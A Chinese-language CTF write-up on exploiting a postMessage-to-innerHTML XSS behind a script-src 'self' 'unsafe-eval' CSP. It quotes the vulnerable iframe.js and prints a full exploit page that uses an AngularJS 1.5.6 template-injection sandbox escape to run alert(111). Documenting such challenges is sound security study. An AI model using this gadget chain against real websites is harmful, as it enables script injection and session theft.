XSS - Angular Gadget Bypass CSP

前言

周末闲着看了一道国际赛的xss,用了angular的csti gadget来bypass script-src 'unsafe-eval' 'self'; object-src 'none'的csp,没有第一时间想到angular gadget,我前端还是太菜了。

WP

题目关了,大概就是首页iframe了一个/broadcast页面,broadcast引入了一个iframe.js如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
iframe.js
window.addEventListener("message", receiveMessage, false);

function receiveMessage(event) {
// verify sender is trusted
if (
!/^http:\/\/yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg/.test(
event.origin
)
) {
return;
}

// display message
msg = event.data;
if (msg == "off") {
document.body.style.color = "#95A799";
} else if (msg == "on") {
document.body.style.color = "black";
} else if (
!msg.includes(" ") &&
!msg.includes("'") &&
!msg.includes("&") &&
!msg.includes("|") &&
!msg.includes("%") &&
!msg.includes("@") &&
!msg.includes("!") &&
!msg.includes("#") &&
!msg.includes("^")
) {
var broadcastList = document.getElementById("broadcastList");
var newBroadCast = document.createElement("div");
newBroadCast.innerHTML =
'<li class="list-group-item d-flex justify-content-between lh-condensed"><h6 class="my-0">' +
msg +
"</h6></li>";
while (newBroadCast.firstChild) {
broadcastList.appendChild(newBroadCast.firstChild);
}
}
}

很明显,一个postMessage跨域,消息直接拼接进html,可以xss。本来以为直接就出了,结果发现/broadcast存在如下csp:

1
<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">

有script-src是unsafe eval+self,只能引入同域的js,object-src为none也没办法object/embed。

这时候其实就可以想到,只能用当前引入js的gadget了。
看一下引入了哪些js:
-w194

angular版本1.5.6,可以csti,这里直接贴payload:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<iframe id="frame" src=http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcasts onload="exp()"></iframe>
<script>
function exp() {
var IframeElement = document.getElementById('frame');
var message = '<iframe/srcdoc="<html><script/src=/javascripts/angular.min.js>\<\/script><body/ng-app>a</body/ng-app><div/ng-app/ng-csp>{{l=[].constructor.name.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,49,49,41,47,47);a=toString().constructor.prototype;a.charAt=a.trim;$eval(l)}}</div></html>"></iframe>'
IframeElement.contentWindow.postMessage(message, '*');
};
</script>
<body>
</body>
</html>

Angular Gadget

结束后又研究了一下angular的gadget,发现还是蛮有意思的,他的xss gadget本质还是模板注入。

贴一下各种版本payload地址

Proudly powered by Hexo and Theme by Hacker
© 2021 LFY